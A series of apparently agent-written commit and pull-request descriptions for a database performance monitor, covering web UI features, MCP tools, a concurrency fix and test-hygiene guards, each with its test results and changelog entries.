**How Unsilence finds its rule.** `BuildServerSilenceRule` has no id field, but it stamps a fixed reason, `Silenced from server list`, and the web action writes the same string. Unsilence reads `get_mute_rules` (including paused and expired) and deletes only rules with that server's `server_id`, that reason, and every pattern field empty. A narrower rule, a rule for another server, or a whole-server rule a user wrote by hand with another reason is not touched. If the server is silenced only by such a hand-built rule, Unsilence deletes nothing and says to remove it on the Mute Rules page. The marker is a reason string, so a user who edits that rule's reason on the Mute Rules page detaches it from Unsilence; this is the same string the desktop uses.

**State across the 60 s rebuild.** `silencePending` (servers with a write in flight) and `silenceOverride` (the answer the user just produced, kept until the fleet read agrees or two minutes pass) are module-scope, keyed by server id. A rebuilt card keeps its disabled button and its bell, and a second click during a write is ignored.

**Confirmation.** `window.confirm`, the same as Mute Rules Delete and the Alert History dismiss.

## Not changed

No server code, no new route, no migration. `css/theme.css` untouched.

## Verified at the head

- Build Release, `-p:EnableWindowsTargeting=true`: 0 errors, no CA/CS/IDE/xUnit warnings.
- New classes: `FleetSilencePageTests` 6/6, `FleetSilenceBehaviourTests` 6/6.
- RED on dev: the Node harness run against dev's `fleet.js` shows the gate scenario trivially at 0 buttons, and the other five fail because no button exists.
- `WebModuleLoadTests` 7/7, `ServerPageTabsTests` 20/20, `MuteRulesPageTests` 6/6, `MuteRulesBehaviourTests` 9/9, `FleetPageAttentionFilterTests` 10/10, `WebServerPageRangeTests` 11/11.
- 153 classes: the whole guard family, every `.mjs`-harness class, every class naming `fleet.js`, `mute-rules.js`, `FleetServersSql` or `is_silenced`, and `WebExceptionTextCensusTests`: all pass except `LivePostgresCollectionHygieneTests`, `UnmeasuredMetricsAreNotHealthyTests` (postgres, aurora-postgres) and `ViewerSidebarDotRendersTheCardStatusTests`, which are on the Mac-local failing list and fail on dev too.
- `hygiene-scan.py`: 0 offenders.
- `node --check` on `fleet.js` and `mute-rules.js`: clean.
- Lite.Tests: no class names a changed symbol.

## CHANGELOG entry

SECTION: Added
ENTRY: - **Silence This Server on the web fleet page** ([#5221]) - a seat that can edit gets a Silence / Unsilence button on each server card that writes or removes the whole-server mute rule, the same one the desktop writes.
REF: [#5221]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5221

* Web sidebar: search servers by name or tag, and optionally group them by tag (#5243) (#5259)

The web sidebar's server list gets a search box and a Group by tag toggle. On a large fleet the sidebar was a long, flat, name-sorted list.

**Search.**
- It does a live, case-insensitive substring match over display name, server name and tag names, the same rule the Fleet page uses.
- The term survives the 60-second refresh and route changes, and is not saved.
- While a term is entered, collapsed groups open so that a match is never hidden. Clearing the term restores the saved collapse state.
- An empty result shows one "No servers match" line.

**Group by tag.**
- Favourites come first, then the tag tree from the fleet response, depth-first, then Untagged.
- A server with several tags is listed under each.
- Groups collapse as a subtree. A collapsed header shows how many distinct servers it hides.
- Keyboard focus stays on a header after it is toggled.

**State.** The existing sidebar entry in the browser's local storage also holds the grouped flag and the collapsed group ids. It stores only ids and booleans, never names. Stored data that is corrupt or unknown falls back to the flat view with nothing collapsed.

**How.**
- The Fleet page's tag grouping and matching helpers move unchanged into a shared `js/fleet-groups.js`, and the Fleet page behaves exactly as before.
- The sidebar is a new `js/sidebar.js`.
- There is no C# change, no new route and no MCP change. The data was already in the fleet response.

**Tests.** `SidebarSearchGroupTests` (a Node harness over the shipped modules) covers:
- filter matching;
- the grouped order;
- multi-tag servers;
- the collapse-versus-search rule;
- the active row after a route change;
- focus after a toggle;
- subtree counts;
- storage round trips and the corrupt-data fallback;
- the Fleet page using the shared helpers.

**Known follow-ups:**
- toggling a sidebar group also redraws the Fleet grid, which is correct but costs a little;
- a server whose tag is missing from the tag forest drops out of the grouped view. That is inherited from the Fleet page's helper.

Fixes #5243

* Web grid: filter a column by number, text operator or empty cell (#5255)

Web grid: filter a column by number, text operator or empty cell

Fixes #5248
Part of #4843

## What users see change
Typing in a column filter works exactly as before (case-insensitive substring of the cell text). Beside the box there is now a "Match" list with the desktop's operators, chosen only when wanted:
- number columns: Contains, Equals, Not equals, >, >=, <, <=, Is empty, Is not empty
- text columns: Contains, Equals, Not equals, Starts with, Ends with, Is empty, Is not empty (a comma separates alternatives, as on the desktop)
- time columns: Contains, Is empty, Is not empty

The chip names the choice ("CPU: > 900"). The operator is kept at module scope with the text, so the 60 s repaint keeps it. Is empty / Is not empty hide the text box.

## What changed
`panels.js` only. The column's numeric value comes from the same path the sort uses: a new `columnValue` (sortValue, else the row key) feeds both the sort and the filter, and `sortKeyOf` turns it into a number. The column kind is `sortKindOf`, the same decision the sort makes. `> 900` therefore matches a cell showing "1,000". The typed number drops `,` `%` `$` and spaces, as the desktop does. If the cell or the typed text is not a number, an ordering matches nothing; Equals/Not equals fall back to text.

Empty vs zero: a cell is empty when its raw value is null, undefined, "", blank, NaN or an empty list. `0`, `false` and a literal "-" are values. A column drawn by `display()` or `render()` with no raw value is empty when it shows nothing or the dash.

## Not changed
No service or MCP read changes; the rows are already on the page.

## Verified at the head
- `GridFilterBehaviourTests` 15/15 (7 new). RED against unmodified `panels.js`: all 7 new tests fail (no operator list exists, so the operator harness cannot find it); the 8 existing pass.
- `GridAdoptionBehaviourTests` 7/7, `GridToolsBehaviourTests` 9/9.
- 132 classes (guard family, grid/panel/page classes, every class naming `panels.js` or a web harness): all pass except the expected platform ones (`LivePostgresCollectionHygieneTests`, `RawWindowFloorViewerPortTests` which needs WPF COM).
- hygiene-scan: 0 offenders. `node --check` on panels.js: clean.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Filter web grid columns by number, text operator or empty cell** ([#PR]) - a column filter can now match greater/less than, equals, not equals, starts with, ends with, is empty and is not empty, comparing the real numbers rather than the formatted text; plain typing still does a contains match.
REF: [#PR]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/PR

## Why a time column offers no ordering operators

Checked against the desktop rather than assumed. `ColumnFilterMatcher.cs:97` implements the
four ordering operators through `CompareNumeric`, which parses **decimals only** — so `>` on a
`DateTime` column parses nothing and matches nothing in the desktop either. The desktop's popup
still lists those operators for such a column, so choosing one there silently returns no rows.

The web omits them on time columns instead. That is a deliberate, narrow divergence: it removes
an operator that cannot work rather than reproducing a dead control. If date ordering is wanted
later it needs a real date comparison in both apps, which is its own change.

* Tests: no test may pass by returning from a catch block (#5254)

Tests: no test may pass by returning from a catch block

A test of the form `try { setup(); } catch { return; }` is reported as a pass, not a skip, so where the setup cannot run it asserts nothing and still reads as coverage. A Windows run of a symlink test reported "0 skipped" this way, when creating a symbolic link needs a privilege an ordinary session lacks.

## What changed
- Six sites on dev had a `return;` inside a `catch`. Five were `Assert.Skip(...)` followed by a dead `return;` (xunit v3's `Assert.Skip` throws, so these already skipped honestly). The dead `return;` is gone, so a skip is the only exit. Where the compiler then needed `proc` assigned, the catch rethrows after the skip call. `WebModuleLoadTests` is a real test, so it got the same treatment. Three more tests with the same shape turned up when the new guard ran (`WebCollectionHealthRunAtColumnTests`, `WebDatabaseSizesNoteColumnTests`, `AzureSqlDatabaseHardwareTests`) and got the same fix. `StoreThatRefusesTheLogin_ExitsWithTheStoreCode` returns from a catch inside a listener helper loop, not from the test, so it is left alone.
- The certificate symlink test now proves the link resolves (`File.ResolveLinkTarget(..., returnFinalTarget: true)`) before asserting the refusal.
- New `ExportViewerConfigAsync_JunctionAtTheDestinationOrTheCertificatePath_RefusesWithoutWritingThrough`: a directory junction (`mklink /J`) needs no privilege, so this case cannot skip for want of a right. It asserts the junction exists and resolves, then that the export refuses and writes nothing through it, for a junction as the destination and a junction at `server.crt`.
- New `TestsNoSilentPassGuardTests`: scans both test projects and fails if any `[Fact]`/`[Theory]` has a bare `return;` inside a `catch`. The message names `Assert.Skip` / `Assert.SkipUnless`. It has a self-test of the scanner and no exemption list.

## Verified
- Build Release, 0 warnings, 0 errors.
- Guard family (90 classes) plus the touched classes: Total 1224, Failed 5, Skipped 58. The failures are the expected platform ones on this Mac: four `ResolveViewerExportDirectory_*` path tests (Windows paths) and `LivePostgresCollectionHygieneTests`. They fail on dev too.
- The new guard and its self-test pass. hygiene-scan: 0 offenders.
- Executed on the Mac: the guard, the Node-based web tests (Node is installed), the toggle exit-code test. Skipped on the Mac (DPAPI requires Windows): the certificate symlink test and the new junction test. CI on Windows decides those.
- Reading the product: a junction destination is refused at DarlingCliCommands.cs:1224, and a junction at `server.crt` has the ReparsePoint attribute, so it takes the symbolic-link refusal at :1672. Not run.

## CHANGELOG entry
SECTION: None
ENTRY: None: test-only change, no user-visible effect

* MCP: get_store_query_history reads the Darling store's hourly statement history (part of #5097) (#5217)

A new Darling MCP tool, get_store_query_history, reads the store's own hourly statement history (migration V163, #5203). Without query_id it ranks the statements that spent the most time over the window (Σ delta_total_exec_ms), each with its calls, window mean, the hours present, the role, per-statement counts of first_seen, restarted and reset hours, and the mean in the newest quarter of its hours against the rest (left out for first_seen hours, and null under four hours, so a lifetime credited to one hour cannot fake a slowdown). With query_id it returns that statement's hourly series, oldest first, with calls, mean, total, rows, block counts, temp writes, the cumulative max_exec_ms and the three flags. Both modes carry the window's captures (count, rebaselined and precondition hours, dealloc), so a missing hour reads as not captured rather than as idle.

Statement text is joined live from config.store_statement_stats(), the same reader get_store_query_stats uses; text the extension has since evicted reads as such, and when the reader is unusable now the history is still answered with "text unavailable" and a text_note carrying the reason. queryid goes out as a string. The answer carries effective_start, window_truncated and truncation_note (#4966), derived from the history's own first ok or rebaselined capture, with wording about the store's history rather than a monitored server. A store older than V163, one with no captures yet, and one whose captures are all precondition rows each answer a distinct precondition.

It is registered on the MCP host and mirrored on the web's /api/read. The tools/list ceiling rises to the measured 188,119.

Tests: refusals for bad role, top, hours_back and query_id; live cases planting the three tables (series with a reset hour, ranked order and truncation, the role filter, the slowdown split and its four-hour floor, a first_seen hour that would otherwise fake a slowdown, an unusable reader, each precondition, the data-start keys and the failed-read path); the budget, head-pin and cross-app inventory pins.

Part of #5097

* Web: the system-health, Blocking, Deadlocks and PostgreSQL event panels say where their data starts (part of #4966) (#5222)

The Darling web server page's partial-window note now covers fourteen more event reads, on data and empty answers alike: the nine get_health_parser_* reads (System Events), get_blocking, get_deadlocks and get_deadlock_detail, and PostgreSQL's get_pg_deadlocks and get_pg_log_events. An empty System Events panel over a window the store never covered used to show nothing, because the tool's own keys sat under hints, which the page does not read.

These are event lists, so the note follows the event-time rule from #5197: the earlier of the store's coverage start and the earliest event shown (the desktop viewer's ViewerEventDataStart.Of). A page cut by its row cap names its oldest row shown without asking the store (RowStatusByRead and the per-read oldest field). get_blocking is fed by the blocked process reports and the DMV blocking snapshots, so its probe asks both and the earlier start wins (CompositeSourcesByRead), as the MCP tool and the desktop viewer do. empty, no_deadlocks and no_events are admitted as "looked and found nothing"; unavailable with source_observed false is not.

Tests: a theory over the nine system-health reads (capped, uncapped, empty, unavailable), a capped page for each of the other five, the capped set pinned at twenty reads, source scans tying each listed read to its tool, and live cases with event times stamped apart from collection_time, including get_blocking with rows in only one of its two tables.

Part of #4966

* Lite.Tests: seed the #4966 window-notice classes in one transaction per test (#5208) (#5253)

Eight Lite.Tests classes (the five McpWindowNotice*ToolTests classes, DataStartBannerSurfaceTests, DataStartBannerQueriesTabTests and QueryWindowTruncationTests) now seed each test's store in one transaction instead of one auto-committed INSERT per helper call, which costs about 0.2 s a commit on hosted runners. A PendingSeedSession in SharedDuckDbFixture holds one SeedBatch per test and commits it before the code under test first reads; a seed that follows an act still commits before the next read. FloorHelper_ReadsTheArchivedFloor_NotJustTheHotTable keeps its own per-loop batches. Test code only: no production code and no assertion line changed.

Part of #5208

* Web FinOps storage growth: choose 7, 30 or 90 days (#5237) (#5264)

Web FinOps storage growth: choose 7, 30 or 90 days (#5237)

Fixes #5237. The desktop's object growth view covers 7, 30 or 90 days; the web view was fixed, and get_finops's storage_growth view refused any other hours_back.

- get_finops, storage_growth only: hours_back accepts the old default 24 (the 30-day heatmap, unchanged) or whole days 7 to 90 (168 to 2,160 hours); anything else is refused, and every other view keeps the shared 168-hour cap. window_days, the daily rate and the reader window follow the span.
- Windows over 30 days return at most 12 objects, and truncated says so: the widest case, 12 objects over 91 day columns, measures 28,974 bytes against the 32 KB response budget.
- The guide says the bands scale over the rows shown when fewer than 20 are shown, and that the daily rate is growth over the window divided by its days, the desktop's rule, so it understates on a store with less history than the window. The tools/list text is unchanged in size; the guide grows 80 bytes.
- The page (finops/storage-growth.js) adds a 7/30/90-day select on the objects level, sending days x 24, default 30 days, kept per server; the indexes level sends the same window.
- Tests: FinOpsStorageGrowthViewTests (the window rule, the cap, the 91-column worst case, every other view still refusing, the documented rate on short history, live 7/30/90) and FinOpsStorageGrowthWindowBehaviourTests (Node harness).

* Free the server-add slot before the answer, so an immediate second add is not refused (#5268)

Free the server-add slot before the answer, so an immediate second add is not refused

Refs #5167 (where the race came from).

## What users see change

Adding a server and then immediately adding another no longer answers 429 ("A server add is already running") for a slot that is already free. It also removes a flake from `ServerAddRouteTests.ASecondAdd_WhileOneIsRunning_Answers429_AndTheFirstStillCompletes`, which failed once on a Windows VM expecting OK and getting 429.

## What changed

`POST /api/servers` is serialised by a one-slot semaphore. The slot was freed only by a fire-and-forget continuation on the add task, so the release did not happen before the response. A client that read the 200 and posted again could beat that continuation.

- **Happens-before the answer.** After the wait ends (any way: answer, fault, timeout), a `finally` frees the slot if the add task `IsCompleted`. That runs before the handler builds its response, so the release precedes the 200.
- **Outlives the timeout (unchanged).** When the 120 s wait times out, the add task is not complete, so the `finally` does nothing and the slot stays held. Only the add's own continuation frees it, once the add finishes. A slow add that is still writing keeps blocking a second add.
- **Release exactly once.** Both exits go through a new `SingleReleaseSlot`, whose `Release()` does an `Interlocked.Exchange` on a per-request flag and releases the semaphore only on the 1 to 0 transition. I chose an exchange over an ordering rule because the handler and the continuation run on different threads and either can be first when the add finishes inside the wait. A second plain `Release()` is worse than the bug: if a later add had already taken the slot, it would free that add's slot and let a third add run beside it.
- **Synchronous throw path.** When `addServers` throws before returning a task, there is no continuation, so nothing else can release. It goes through the same `SingleReleaseSlot`, so it releases once.

## Tests (`ServerAddRouteTests`)

1. `AnAddThatFinishedInsideTheWait_FreesTheSlotBeforeItsAnswer_SoAnImmediateSecondAddIsNotRefused`: 400 back-to-back adds, each must be OK.
2. `AnAddThatFinishedInsideTheWait_ReleasesTheSlotExactlyOnce_SoALaterHeldAddStillBlocksTheNext`: 400 cycles of a finished add, then a held add (latched with `TaskCompletionSource`), then a third add that must get 429 and must not reach the core.
3. `AnAddThatOutlivesTheTimeout_KeepsTheSlotForEveryLaterAdd_AndFreesItOnce_WhenItFinishes`: uses the existing `addTimeout` (200 ms). The 503 returns, five further adds get 429, the core is called once; after the add finishes the next add is OK, then a held add blocks a further one with 429.

No test sleeps to prove a point. The only polling loop waits for the continuation of an add that has outlived the timeout, which is the path that is still asynchronous by design (same shape as the existing `ACoreThatNeverFinishes_...` test).

**RED against unmodified `DarlingWebEndpoints.cs`:** tests 1 and 2 fail (test 1 fails intermittently there: "add 323 of 400 answered 429 right after a finished add", 1 failure in 6 isolated runs, and 2 failures in the first class run of 3; test 2 fails in the same class run). Test 3 is a constraint pin and passes on the old code, as it should. Mutation checks on the fix:

- the handler releasing the semaphore directly (no once-guard): tests 2 and 3 and the existing `ASecondAdd_...` fail in 3 of 3 runs, and test 1 in 1 of 3;
- the handler releasing unconditionally (ignoring `IsCompleted`): test 3 and the existing `ACoreThatNeverFinishes_...` fail in 3 of 3 runs.

## Verified at the head

- Release build with `--no-incremental`: 0 errors, 0 warnings.
- `ServerAddRouteTests` (32 tests), 5 runs in a row: 5 of 5 passed, 0 failed.
- `OwnedSecretReferenceRefusalTests`, `DarlingOwnedSecretsCensusTests`, `DarlingWebHostServiceTests`, every Darling.Tests class naming `DarlingWebEndpoints` (96), the whole guard family (Census, Adoption, Discipline, Guard, Scrub, Hygiene, Ratchet, Convention, Contract, Pin), `DocCommentHygieneTests`, `RepoFileAdoptionTests`, `CommentFilterAdoptionTests`, `TsqlConventionGuardTests`, `FleetIdentifierScrubTests`, `CommandDeadlineScannerAdoptionTests`, `QueryStoreSliceTieBreakSourceTests`: 183 classes, 3019 tests, 1 failed, 120 skipped. The one failure is `LivePostgresCollectionHygieneTests`, a known platform failure here (it loads WPF types).
- `hygiene-scan.py`: offenders 0.
- Source-pin grep for `SingleReleaseSlot`, `addInFlight`, `ServerAddSlotTimeout` in Darling.Tests and Lite.Tests: no hits outside `ServerAddRouteTests`. No Lite.Tests class names a changed symbol.

## Not changed

The 120 s slot timeout, the 429 and 503 texts, the add core, and the `Release` semantics of the semaphore itself.

## CHANGELOG entry

SECTION: Fixed
ENTRY: - **Adding a server no longer refuses an immediate second add** ([#PR]) - the add slot is now freed before the answer is sent, so posting another add the moment the first one reports done no longer returns "A server add is already running". An add that outlives the 120-second wait still holds the slot until it finishes. Race introduced with #5167.
REF: [#PR]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/PR

## How this was found, and what confirmed it

Another seat reported this test failing once on a Windows VM during a **full-suite** run and
flagged it as a possible slow-box artefact rather than writing it off. It was not: the test is
already deterministic, using `TaskCompletionSource` latches rather than sleeps, so it was
reporting a real defect.

That seat then ran the class **three times alone on bare dev** and it passed every time, 29/0/0.
That is the expected result and it corroborates the diagnosis rather than contradicting it: the
window between an add completing and its fire-and-forget continuation running is narrow, so it
opens only under the memory and scheduling pressure of the whole suite. **A race that only
appears under load is the kind a single green run cannot clear.**

* Read Query Store plans through the plan map in analyze_query_store_plan, the Viewer and the actual-plan resolver (#5263)

analyze_query_store_plan, the Darling Viewer's Query Store plan (with its history window and repro script) and the Viewer's Get Actual Plan resolver find Query Store plans again (#5257). Since #2210/#2312 the collector ships query_store_stats.query_plan_text as a NULL placeholder and lands each plan once in query_plan_dim, reached through collect.query_store_plan_map; the three readers still read only the inline column, so every plan collected since then came back as "no stored plan".

With a plan_id (the Viewer, the web, the resolver), the readers look the plan up by the map's primary key joined to the dimension: two index lookups, no fact-table scan. The inline column is read only when the map has no row for that plan_id (plans from before the change); a map row with a NULL digest, the "this plan will never exist" marker, or a digest whose dimension row is gone, reads as absent. With only a query_id, the candidate plan_ids come from the fact rows of the last 7 days, newest first, each resolved as above, and one unbounded pass runs only when nothing resolves inside the bound. analyze_query_store_plan now names the plan it analysed (database:query_id:plan_id).

Measured on the store with the largest Query Store volume: the pinned read 0.98 ms; the 7-day candidates 535 ms cold; the unbounded fallback 22 ms warm over the same 12 compressed chunks.

Tests: a live class covering text and gzip plans, the NULL-digest marker, an orphaned digest, an older inline plan beside a newer mapped one, an 8-day-old plan reached by the unbounded pass, the resolver, wrong keys, and analyze_query_store_plan end to end asserting the analysed statement and its plan_id; plus a SQL parity pin between the Service and Viewer readers.

Fixes #5257

* Web: open a captured PostgreSQL plan's JSON from the Captured Plans grid (#5273)

The Darling web's PostgreSQL Captured Plans grid gets a Plan button on each row (#5229). It opens a panel under the row with the row's own stored, redacted auto_explain JSON, pretty-printed in a scrolling monospace block, with Copy, Download .json and a summary line (total cost and rows, and the actual time, rows, planning and execution times when the capture has them). A row with no plan shows a dash; a plan that is not valid JSON is shown as stored, with a notice and Download off. Open panels survive the grid's 60-second rebuild.

The JSON comes from the plan get_pg_plans already returns, so there is no new read, no MCP tool and no server code. The panel lives in its own module, pg-plan-viewer.js, separate from the SQL Server plan viewer, and renders everything as text nodes. The Plan column is left out of the grid filter, CSV and Copy, so an open panel's JSON never feeds a filter match or a table copy. The panel notes that the browser rounds the 64-bit Query Identifier inside the JSON; the grid's own queryid is the exact one.

Tests: a Node harness over the shipped module (pretty-print of object, string and null plans, the summary, file names, the open-key across a rebuild, text-only rendering) and page pins, including a comment-stripped scan for HTML sinks.

Fixes #5229

* MCP: quiet and all-clear messages no longer contradict a cut window (part of #4966) (#5250)

MCP quiet and all-clear empty messages no longer contradict a cut window, in Lite and Darling alike (#4966). When an answer's hints say the window reaches back before the store's data, the collection log's unfiltered empty answer, get_blocking_stats, the first two empty rungs of the health-parser tools, the Query Store regression all-clear and the heatmap's idle grid no longer call the window "genuinely quiet" or "the all-clear".

McpHelpers.QuietUnlessCut (PerformanceMonitor.Common) picks the text from the answer's own window notice. A covered window keeps today's text byte for byte. A cut one keeps the factual first part (counts, the threshold applied, the filter echoed) and replaces only the claim, with one of two shared sentences: one naming effective_start when the store's data starts inside the window, and one saying nothing was read when the store holds nothing for the read in the window. The filtered collection-log empty and the filtered heatmap miss claim nothing about the window and are unchanged.

Both apps' server instructions gain one sentence on window_truncated, effective_start and truncation_note. Darling's room came from tightening the PostgreSQL wait-instrument paragraph; the shared not_collected / precondition paragraph and every pinned sentence are unchanged. No tool description changed, so the tools/list budget is unchanged.

Tests: McpMissMessageParityPinTests holds both cut sentences, the covered text and the instructions sentence across both apps, plus QuietUnlessCut's truth table; each site has a cut case and a covered case in both apps, and each cut variant has its own case.

Part of #4966

* Web charts: hide, show and isolate a series from the legend (#5265)

Web charts: hide, show and isolate a series from the legend

Fixes #5247
Part of #4843

## What users see change
On every web line chart (area and stacked too), a legend entry is now a switch.
- **Click** an entry to hide or show that series. A hidden entry stays in the legend, struck through with a hollow swatch and `aria-pressed="false"`, so it reads as hidden and not as missing data.
- **Double-click** (or Shift+click) an entry to show only that series. Doing it again on the lone visible series shows everything.
- **Show all (N hidden)** appears after the entries whenever anything is hidden, and restores every series in one click.
- The y-axis (and the stack, for stacked charts) rescales to the visible series, so hiding one dominant series gives the rest the vertical space.
- Hidden state survives the 60-second rebuild and is held per chart, per server/tab and per range. It does not carry to another server or tab.
- The last visible series cannot be hidden by a toggle.
- Legend entries that drill (`onSelect`) keep that: the label drills, the swatch toggles.

## What changed
- `charts.js`: `renderLineChart` takes `hiddenKeys` and `onLegend`; hidden series are filtered out of the y-domain, stack, drawn marks, hover and CSV. `buildLegend` draws the switch/marked/Show-all state. `nextHiddenKeys` holds the toggle/isolate/all rules. `getChartHidden`/`setChartHidden` keep state at module scope keyed by chart id and the same scope string the zoom uses (page address without query, plus range hours); `zoomableLineChart` wires them and redraws.
- `app.css`: legend switch, hidden-entry and Show-all rules beside the existing legend rules.
- Isolate follows the desktop's click-isolate plus double-click revert idea; the web uses double-click to isolate because single click is already hide/show.

## Export and copy
Export Data to CSV carries exactly the shown series, matching the grid's rule that export carries the shown rows. Copy/Save Image is a picture of what is drawn, so it shows the shown series too. Pinned.

## Not changed
No MCP read, field or tool text changed. Bar, pie and scatter charts are untouched. Composed panels (compose.js) are wired through the same state: the hidden series are held under the panel's existing composed id (its view slot, its id/title/measure and the server) and the page address plus range, so they survive the 60-second repaint and do not reach another panel, server or range. The editor preview has no slot and so no stable identity; it gets no switch rather than a key that could collide.

## Tests
New `WebChartLegendIsolateBehaviourTests` (10, Node harness `web-chart-legend-harness.mjs`): toggle hides/re-shows; legend marks hidden; axis rescales to visible series (2000 to 5 top tick; stacked 3000 to 8); isolate shows exactly one and a second isolate restores; show all; last series kept; state survives rebuild; no leak to another server, range or chart; CSV carries shown series.
RED against unmodified `charts.js`: all 10 fail (the harness cannot find a legend switch).

## Verified at the head
- New class: 10/10 pass on the change, 10/10 fail on dev's `charts.js`.
- 167 test classes (every class naming charts.js or a chart harness, `WebModuleLoadTests`, `ServerPageTabsTests`, the guard/census/adoption/ratchet/convention family): Total 1251, 1 failed, 14 skipped. The failure is `LivePostgresCollectionHygieneTests` (WPF types, expected on macOS).
- `TestsNoSilentPassGuardTests` does not exist on this base.
- Release build 0 errors, 0 warnings; `node --check` clean on charts.js; hygiene-scan offenders: 0.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Hide or isolate a series from any web chart legend** ([#PR]) - click a legend entry to hide or show a series, double-click to show only that one, and use Show all to restore; the axis rescales to what is visible, and the choice survives refreshes for that server and tab.
REF: [#PR]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/PR

## Where the feature is absent, and why that is deliberate

A composed panel with **no slot** - the editor preview at `editor.js:1065` - gets no legend
switch. There is no stable key for it, and a guessed key is worse than no feature: it would
make one preview's hidden series apply to another. Every other chart path is wired, through
either the stateful wrapper in `charts.js` or `composedPanelId()` in `compose.js`.

## One check that was NOT run

`TestsNoSilentPassGuardTests` does not exist in this branch's tree. It arrives with a separate
PR that is in a merge train at the time of writing, so this branch cannot run it. That guard
fails the build if any test passes by returning early from a `catch`; when it lands, this
branch's tests are subject to it like any other, and nothing here uses that shape.

* Web Collection Health: click a collector to see its run history (#5227) (#5258)

Web Collection Health: click a collector to see its run history (#5227)

Fixes #5227. The desktop opens a collector's last 7 days of runs from its Collection Health row; the web showed the Collectors summary and the Collection Log side by side but unconnected.

- The SQL Server Collection Health tab's Collectors rows are clickable and keyboard-activatable (the shared makeActivatable helper, now exported from util.js); a click that ends a text selection is ignored.
- A pick re-reads the Collection Log for that collector: get_collection_log with collector_name and hours 168, the desktop's 7 days. The subtitle and empty text name the collector, and a full-width "collector X x" chip clears it. The previous read is aborted on each pick, so quick clicks never stack 7-day reads.
- The pick is kept per server at module scope, so the tab's 60-second refresh keeps it; only the Collection Log redraws. No new read and no MCP change; the PostgreSQL Overview's collector pair is unchanged.
- Tests: WebCollectorRunHistoryTests (Node harness): clickable rows, the re-read with collector_name and 168 hours, the chip, the pick surviving a rebuild, a second pick aborting the first read, Enter picking a row, and a selection click being ignored.
- The harness copies every module under js/ and js/pages/ rather than a named list, so a page module another change adds and server-tabs.js imports needs no edit to it, in either landing order.

* Remove two agent-bus files committed by accident, and guard against it (#5271)

Remove two agent-bus files committed by accident, and guard against it

Fixes a public-repo hygiene miss of mine, and guards it.

## What happened

#5167's squash (`a1c7fdcb3`) committed two files from the agent coordination bus into this repository:

- `design/pm-pr-worker/i4843/lane-reports/SRV-WRITE-1-pr.md`
- `design/pm-pr-worker/i4843/lane-reports/SRV-WRITE-1-ownedset.md`

**This repository is public.** Scrubcheck reports **0 hits** on both — no customer, tenant, host or account identifiers — but they carry internal vocabulary and the directory layout of a private tree, and on `dev` they merge into every branch and every clone. Another seat found them while merging dev into their own branch.

## The cause was a path, not a judgement

A lane brief named a bus path that was not absolute. **A relative path resolves inside the CODE worktree**, so a report written "to the bus" landed here instead. That trap is why briefs in this project say "absolute path — a DIFFERENT repo from the code"; this one slipped through.

## Three parts, because the first two are not enough alone

1. **`git rm`** the two files.
2. **`.gitignore`** for `design/`, `inbox/` and `outbox/`, with the reason written above the lines so a later reader does not delete them as noise.
3. **`NoInternalBusFilesGuardTests`**, because `.gitignore` cannot stop a forced add. It fails if any file exists under those three directories, and its message names the offending files **and** states the absolute-path rule that was broken, so whoever trips it learns the cause rather than just the symptom.

It lives in `Darling.Tests` rather than `Lite.Tests` deliberately: **Lite.Tests cannot build or run on a Mac**, so a guard placed there could not be verified by the seat that needs it most.

## No history rewrite, and the reasoning is explicit so it can be overruled cheaply

With 0 scrub hits there is no customer exposure — only internal vocabulary and a layout. Rewriting a public repository's history would break every open PR, every clone and the nightly's provenance, which is a **larger harm than the one it would undo**. Removing them from the tip is proportionate. If you disagree, say so and I will plan a rewrite properly rather than improvise one.

## Verified

- Guard **GREEN** with the tree clean.
- Guard **RED** with a bus file planted back, printing the file list and the rule.
- Guard **GREEN** again after removing the plant.
- Release build **0 warnings, 0 errors**.

## CHANGELOG entry

SECTION: None
ENTRY: None — repository hygiene and a test guard; no shipped behaviour changes.

* Web Manage Servers grid: show disabled servers, auth mode, monthly cost and added time (#5239) (#5262)

The web Admin page's Servers tab now shows every configured server, enabled or disabled, with the columns the desktop Manage Servers window has: Auth, Status, Monthly Cost and Added. Before this, the tab read `list_servers`, which filters to enabled servers for every caller and carries no auth, cost or added time.

**Route.** A new web-only route, `GET /api/admin/servers`, mapped for GET only. `list_servers` is untouched.
- **Rows.** They come from the configured servers (enabled and disabled), left-joined to the collected server row and the newest collection. A configured server that has never connected shows its config fields, with an awaiting-first-collection freshness.
- **Display-ready values:**
  - `status` is Enabled or Disabled;
  - `auth` is "SQL Server" or "Windows", or any other mode verbatim;
  - `monthly_cost` is `$1,234` style (invariant culture, halves away from zero, always formatted, as on the desktop);
  - `added` is the config row's creation time;
  - the display name is the config name, so a rename shows at once.
- **Order.** The display name, then the server name, then the server id.

**Gate and credentials.**
- **Gate.** The route sits behind the same sign-in gate and method gate as every web route: a read-only sign-in may GET it, and an anonymous request is refused.
- **Credentials.** The statement names its columns, none is a credential, and every config column it reads is in the viewer role's column grant. The response has no credential key. It adds nothing to the MCP tools/list budget.

**Page.** `SERVER_COLUMNS` gains Auth, Status, Monthly Cost (sorted on the number) and Added. The old status column becomes Freshness, and disabled rows are greyed.

**Tests.**
- **Statement pins:** the config table with no enabled filter; no credential column or wildcard; every column inside the viewer grant.
- **Unit tests:** the labels and the order.
- **A live test:** the route through a real host, as a non-superuser holding the product's own viewer grants replayed.
- **The real pipeline:** anonymous refusal.
- **A rename test:** a renamed config row shows its new name before it reconnects.
- **Page harness updates.**

Fixes #5239

* Web Alert History: show an alert's advice and fix script, as the desktop does (#5241) (#5269)

Web Alert History: show an alert's advice and fix script, as the desktop does (#5241)

Fixes #5241. The desktop's alert detail shows an analysis alert's advice and T-SQL with Copy T-SQL; the web showed neither, because AlertDetailText.Flatten writes only headings and fields and drops each item's body, so the advice and the script never reached detail_text.

- New web-only read get_alert_details(server_id, metric_name, alert_time), keyed on the page's own row identity, returns one alert's details [{heading, fields, body, is_code_block}] parsed from its stored context with the desktop's model. No MCP tool behind it (an internal method in the /api/read catalog only, listed in WebOnlyReadNames for the parity census); an unknown or unparseable key answers empty, a missing parameter is refused, the lookup is one indexed row, and Remediation (the apply payload) is never projected.
- get_alert_history (its MCP tool, web catalog entry and answer) is unchanged.
